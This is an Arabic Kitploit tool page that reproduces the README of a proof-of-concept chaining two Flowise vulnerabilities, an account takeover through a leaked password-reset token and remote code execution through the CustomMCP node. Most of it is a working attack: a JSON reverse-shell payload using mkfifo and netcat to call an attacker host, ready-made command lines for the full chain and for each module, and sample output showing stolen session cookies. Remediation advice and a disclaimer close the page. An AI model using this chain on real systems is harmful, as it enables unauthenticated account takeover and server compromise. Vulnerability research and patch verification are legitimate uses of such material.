Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-58434-AND-59528-POC — PoC معياري لـ CVE-2025-58434 (الاستيلاء على الحساب) وCVE-2025-59528 (RCE) في Flowise. يقوم بأتمتة سلسلة الهجوم الكاملة من تسريب الرمز غير المصادق عليه إلى تنفيذ التعليمات البرمجية عن بُعد عبر shell عكسي أو أمر مخصص. | Kitploit
أدوات/GitHubGitHub/kartik2005221/cve-2025-58434-and-59528-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالمصادقةالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHub
kartik2005221/cve-2025-58434-and-59528-poc

CVE-2025-58434-AND-59528-POC

PoC معياري لـ CVE-2025-58434 (الاستيلاء على الحساب) وCVE-2025-59528 (RCE) في Flowise. يقوم بأتمتة سلسلة الهجوم الكاملة من تسريب الرمز غير المصادق عليه إلى تنفيذ التعليمات البرمجية عن بُعد عبر shell عكسي أو أمر مخصص.

عرض المستودع
192منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إثبات المفهوم المزدوج لثغرات Flowise — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ للاستخدام التعليمي وبحوث الأمن المصرح بها فقط.
تشغيل هذه الأداة ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي لاختبارها غير قانوني.


جدول المحتويات

  • نظرة عامة
  • تفاصيل الثغرات
    • CVE-2025-58434 — الاستيلاء على الحساب
    • CVE-2025-59528 — تنفيذ الأوامر عن بُعد
  • سلسلة الهجوم الكاملة
  • الإصدارات المتأثرة
  • هيكل المستودع
  • المتطلبات
  • التثبيت
  • الاستخدام
    • السلوك الافتراضي
    • شاشة المساعدة
    • وضع السلسلة
    • الوحدة — ATO
    • الوحدة — تسجيل الدخول
    • الوحدة — RCE
  • مرجع الأعلام
  • الـ Reverse Shell مقابل الأمر المخصص
  • مثال على المخرجات
  • الإصلاح
  • الجدول الزمني للإفصاح
  • المراجع
  • إخلاء مسؤولية

  • نظرة عامة

    يجمع هذا المستودع بين ثغريتين حرجتين في Flowise في أداة PoC واحدة معيارية.

    CVE-2025-58434CVE-2025-59528
    النوعالاستيلاء على الحسابتنفيذ الأوامر عن بُعد
    مطلوب مصادقةلانعم (أي حساب صالح)
    CVSS9.8 حرجةحرجة
    متأثرالسحابة + المستضافة ذاتيًاالمستضافة ذاتيًا

    تتسلسل الثغريتان طبيعيًا: توفر CVE-2025-58434 الاستيلاء على الحساب دون مصادقة، مما يلبي شرط المصادقة لـ CVE-2025-59528 — وبذلك يتم تحقيق RCE دون مصادقة في تشغيل آلي واحد.


    تفاصيل الثغرات

    CVE-2025-58434 — الاستيلاء على الحساب

    السبب الجذري: تُرجع نقطة النهاية forgot-password رمز إعادة تعيين كلمة المرور (tempToken) مباشرة في نص استجابة HTTP بدلاً من إرساله عبر البريد الإلكتروني فقط.

    خطوات الهجوم:

    1. POST /api/v1/account/forgot-password مع أي بريد إلكتروني مسجل
    2. قراءة tempToken من استجابة JSON — بدون الحاجة للوصول إلى البريد الإلكتروني
    3. POST /api/v1/account/reset-password مع الرمز المسرب → تعيين كلمة مرور جديدة
    4. تسجيل الدخول كالضحية

    الاستجابة المسربة (مختصرة):

    root@kitploit:~
    {
      "user": {
        "email": "[email protected]",
        "tempToken": "LEAKED_TOKEN_HERE",
        "tokenExpiry": "2025-08-19T13:00:33.834Z",
        "status": "active"
      }
    }
    

    CVE-2025-59528 — تنفيذ الأوامر عن بُعد

    السبب الجذري: تمرر عقدة CustomMCP بيانات mcpServerConfig التي يقدمها المستخدم مباشرة إلى مُنشئ Function() في JavaScript دون تنقية. وبما أن Flowise يعمل على Node.js، فإن الكود المحقون لديه وصول كامل إلى child_process و fs وجميع الوحدات المضمنة في Node.js.

    مسار الكود الضعيف:

    root@kitploit:~
    POST /api/v1/node-load-method/customMCP
      -> convertToValidJSONString()
        -> Function('return ' + mcpServerConfig)()   ← إدخال مستخدم غير منقى
    

    الرؤوس المطلوبة:

    root@kitploit:~
    Content-Type:   application/json
    x-request-from: internal
    Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>
    

    التحميل الافتراضي للـ reverse shell:

    root@kitploit:~
    {
      "loadMethod": "listActions",
      "inputs": {
        "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
      }
    }
    

    ملاحظة: تستخدم تحميلات الـ reverse shell cp.exec() (غير متزامن / أطلق وانسى) لذا يعود طلب HTTP فورًا ولا تنتهي مهلة الأداة. تستخدم الأوامر العادية cp.execSync() وتعيد المخرجات في السطر نفسه.


    سلسلة الهجوم الكاملة

    root@kitploit:~
    المهاجم                              واجهة Flowise API
       │                                      │
       │  [CVE-2025-58434]                    │
       │  POST /forgot-password {email}       │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 { tempToken: "abc..." }         │  ← الرمز مسرب في الرد
       │                                      │
       │  POST /reset-password                │
       │  {email, tempToken, newPassword}     │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  201 OK (tempToken cleared)          │  ← اكتمل الاستيلاء على الحساب
       │                                      │
       │  [CVE-2025-59528]                    │
       │  POST /auth/login {email, newPass}   │
       │─────────────────────────────────────►│
       │◄─────────────────────────────────────│
       │  200 OK + Set-Cookie: token=...      │  ← تم استخراج الكوكيز
       │                                      │
       │  POST /node-load-method/customMCP    │
       │  {mcpServerConfig: <js-revshell>}    │
       │─────────────────────────────────────►│
       │                              [exec() يعمل في الخلفية]
       │◄─────────────────────────────────────│
       │  200 {"shell_fired"}                 │
       │                                      │
       مستقبل nc الخاص بالمهاجم ←─────────────── الخادم يتصل مرة أخرى
       ✓  RCE كامل بدون أي بيانات اعتماد
    

    الإصدارات المتأثرة

    المكونالحالة
    Flowise Cloud (cloud.flowiseai.com)متأثر بـ CVE-2025-58434
    Flowise المستضافة ذاتيًا (جميع الإصدارات قبل التصحيح)متأثر بكلا الثغريتين

    راجع التنبيهات الأمنية الرسمية لـ Flowise للحصول على أرقام الإصدارات المصححة.


    هيكل المستودع

    root@kitploit:~
    flowise-dual-cve-poc/
    ├── flowise_poc.py      # PoC الرئيسي — جميع الوحدات + وضع السلسلة
    ├── requirements.txt    # تبعيات Python
    ├── README.md           # هذا الملف
    └── DISCLAIMER.md       # الإشعار القانوني الكامل
    

    المتطلبات

    • Python 3.7+
    • مكتبة requests

    التثبيت

    root@kitploit:~
    git clone https://github.com/yourhandle/flowise-dual-cve-poc
    cd flowise-dual-cve-poc
    pip install -r requirements.txt
    

    الاستخدام

    السلوك الافتراضي

    ليس مطلوبًا أي علامة وضع. إذا قمت بتشغيل البرنامج النصي بدون --chain أو --module، فإنه يعمل تلقائيًا في وضع السلسلة الكاملة. التحميل الافتراضي لـ RCE هو reverse shell — فقط قم بتوفير --lhost و --lport.

    root@kitploit:~
    # استدعاء بسيط — سلسلة كاملة + reverse shell
    python3 flowise_poc.py \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 \
      --lport 4444
    

    ابدأ المستمع قبل التشغيل:

    root@kitploit:~
    nc -lvnp 4444
    

    شاشة المساعدة

    root@kitploit:~
    python3 flowise_poc.py -h
    

    وضع السلسلة

    تشغيل جميع الخطوات الأربع من البداية إلى النهاية: تسريب الرمز → إعادة تعيين كلمة المرور → تسجيل الدخول → RCE.

    root@kitploit:~
    # Reverse shell (التحميل الافتراضي)
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      --lhost 10.10.16.35 --lport 4444
    
    # أمر مخصص بدلاً من reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -c "cat /etc/passwd"
    
    # كلمة مرور ATO مخصصة + reverse shell
    python3 flowise_poc.py --chain \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "MyCustomPass1!" \
      --lhost 10.10.16.35 --lport 9001
    

    الوحدة — ATO

    تسريب tempToken وإعادة تعيين كلمة مرور الحساب. يتوقف قبل تسجيل الدخول/RCE.

    root@kitploit:~
    # كلمة مرور جديدة افتراضية
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected]
    
    # كلمة مرور جديدة مخصصة
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] \
      -p "NewPassword2025!"
    
    # طباعة استجابة JSON الخام
    python3 flowise_poc.py --module ato \
      -u http://flowise.example.com \
      -e [email protected] --json-output
    

    الوحدة — تسجيل الدخول

    المصادقة واستخراج ملفات تعريف الارتباط الثلاثة للجلسة للاستخدام اليدوي.

    root@kitploit:~
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123"
    
    # مخرجات JSON للبرمجة النصية
    python3 flowise_poc.py --module login \
      -u http://flowise.example.com \
      -e [email protected] \
      -P "password123" --json-output
    

    الوحدة — RCE

    التنفيذ على الخادم. يقوم بتسجيل الدخول تلقائيًا إذا لم يتم توفير --token.

    root@kitploit:~
    # Reverse shell — تسجيل دخول تلقائي
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      --lhost 10.10.16.35 --lport 4444
    
    # أمر مخصص — تسجيل دخول تلقائي
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      -e [email protected] -P "password123" \
      -c "id"
    
    # رمز يدوي — reverse shell
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
      --lhost 10.10.16.35 --lport 4444
    
    # جميع ملفات تعريف الارتباط الثلاثة يدويًا
    python3 flowise_poc.py --module rce \
      -u http://flowise.example.com \
      --token "eyJhbGci..." \
      --refresh-token "eyJhbGci..." \
      --connect-sid "s%3A4rey2nuk..." \
      -c "ls /root"
    

    مرجع الأعلام

    الوضع (جميعها اختيارية — الافتراضي هو --chain)

    العلامةالوصف
    --chainالسلسلة الكاملة: ATO → تسجيل دخول → RCE
    --module atoالاستيلاء على الحساب فقط
    --module loginتسجيل الدخول واستخراج الكوكيز فقط
    --module rceRCE فقط

    الهدف

    العلامةالاختصارالوصفمطلوب
    --url-uعنوان URL الأساسي لنطاق Flowiseدائمًا
    --email-eالبريد الإلكتروني الهدف / لتسجيل الدخولدائمًا

    خيارات ATO

    العلامةالاختصارالوصفالافتراضي
    --new-password-pكلمة المرور المحددة لحساب الضحية بعد ATOFlowise@Pwn3d2025!

    خيارات المصادقة

    العلامةالاختصارالوصف
    --login-password-Pكلمة المرور لوحدة تسجيل الدخول / تسجيل الدخول التلقائي لـ RCE
    --token—توفير كوكي token يدويًا (تجاوز تسجيل الدخول)
    --refresh-token—توفير كوكي refreshToken يدويًا
    --connect-sid—توفير كوكي connect.sid يدويًا

    خيارات RCE

    العلامةالاختصارالوصفالافتراضي
    --lhost—عنوان IP للمهاجم للـ reverse shell—
    --lport—منفذ المهاجم للـ reverse shell—
    --command-cأمر نظام تشغيل مخصص (يتجاوز revshell)id إذا لم يتم توفير lhost/lport

    متنوعة

    العلامةالاختصارالوصفالافتراضي
    --timeout-tمهلة HTTP (بالثواني)15
    --json-output-jطباعة استجابات JSON الخامfalse

    الـ Reverse Shell مقابل الأمر المخصص

    يختار البرنامج النصي تلقائيًا وضع التنفيذ الصحيح:

    السيناريوالتحميل المستخدمسلوك HTTP
    --lhost + --lport (بدون -c)سطر mkfifo netcat الواحدcp.exec() — غير متزامن، يعود فورًا
    -c "..." يحتوي على nc/mkfifo/bash -iيتم اكتشافه كـ revshellcp.exec() — غير متزامن، يعود فورًا
    -c "id" أو أي أمر عادي آخرأمر المستخدمcp.execSync() — محظور، يعيد المخرجات
    بدون -c، بدون --lhostidcp.execSync() — محظور، يعيد المخرجات

    التنفيذ غير المتزامن يعني أن طلب HTTP يكتمل فورًا — لا توجد أخطاء مهلة على تحميلات reverse shell.


    مثال على المخرجات

    root@kitploit:~
      [الخطوة 1] [CVE-2025-58434] طلب رمز forgot-password ...
      [*] HTTP 201
      ────────────────────────────────────────────────────────────────────
        بيانات الحساب المسربة
      ────────────────────────────────────────────────────────────────────
      tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
      tokenExpiry   : 2026-04-13T05:14:17.621Z
      ────────────────────────────────────────────────────────────────────
      [+] ضعيف — تم الكشف عن الرمز دون مصادقة!
    
      [الخطوة 2] [CVE-2025-58434] إعادة تعيين كلمة المرور → Flowise@Pwn3d2025!
      [*] HTTP 201
      [+] إعادة تعيين كلمة المرور ناجحة (تم مسح tempToken)
      [+] اكتمل الاستيلاء على الحساب → [email protected] / Flowise@Pwn3d2025!
    
      [الخطوة 3] [المصادقة] تسجيل الدخول لاستخراج ملفات تعريف الارتباط للجلسة ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        ملفات تعريف الارتباط المستخرجة
      ────────────────────────────────────────────────────────────────────
      token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
      connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
      ────────────────────────────────────────────────────────────────────
    
      [الخطوة 4] [CVE-2025-59528] تنفيذ RCE عبر CustomMCP ...
      [*] HTTP 200
      ────────────────────────────────────────────────────────────────────
        نتيجة RCE
      ────────────────────────────────────────────────────────────────────
      الوضع    : Reverse Shell
      LHOST   : 10.10.16.35
      LPORT   : 4444
      [+] تم إطلاق تحميل reverse shell!
      [!] في انتظار الاتصال على 10.10.16.35:4444 ...
      [!] تأكد من تشغيل المستمع: nc -lvnp 4444
      ────────────────────────────────────────────────────────────────────
      [+] السلسلة مكتملة
    

    الإصلاح

    لـ CVE-2025-58434

    • لا تقم أبدًا بإرجاع الرموز في استجابات API. أرسل tempToken عبر البريد الإلكتروني المسجل فقط.
    • أعد رسالة نجاح عامة بغض النظر عن وجود البريد الإلكتروني (يمنع التعداد).
    • اجعل الرموز للاستخدام مرة واحدة، وقصيرة العمر (≤15 دقيقة)، ومرتبطة بسياق الطلب.
    • حدد معدل نقطة النهاية forgot-password.

    لـ CVE-2025-59528

    • لا تمرر أبدًا إدخال المستخدم إلى Function() أو eval() أو vm.runInThisContext().
    • حلل mcpServerConfig كـ بيانات فقط (مثل JSON.parse()) — لا تنفذها أبدًا.
    • إذا كان التقييم الديناميكي مطلوبًا، استخدم صندوق حماية معزول بسياق مقيد.
    • طبق التحقق الصارم من الإدخال وقائمة السماح لمفاتيح التهيئة المسموح بها.

    عام

    • قم بتصحيح كل من النشر السحابي والمستضاف ذاتيًا.
    • قم بتمكين التسجيل والتنبيه على نقاط نهاية إعادة تعيين كلمة المرور و node-load-method.
    • ضع في اعتبارك المصادقة متعددة العوامل (MFA) لجميع حسابات المسؤولين.

    الجدول الزمني للإفصاح

    التاريخالحدث
    2025-08-19تم اكتشاف CVE-2025-58434 والإبلاغ عنها
    غير محددتم اكتشاف CVE-2025-59528 والإبلاغ عنها
    غير محددإقرار البائع
    غير محددتم إصدار التصحيح
    غير محددالإفصاح العام

    المراجع

    • GHSA-wgpv-6j63-x5ph — CVE-2025-58434
    • GHSA-3gcm-f6qx-ff7p — CVE-2025-59528
    • Flowise GitHub
    • CWE-640: آلية استرداد كلمة المرور الضعيفة
    • CWE-94: التحكم غير السليم في توليد الكود

    إخلاء مسؤولية

    لـالأغراض التعليمية واختبار الاختراق المصرح به فقط.
    راجع DISCLAIMER.md للحصول على الإشعار القانوني الكامل.

    تنزيل الأداة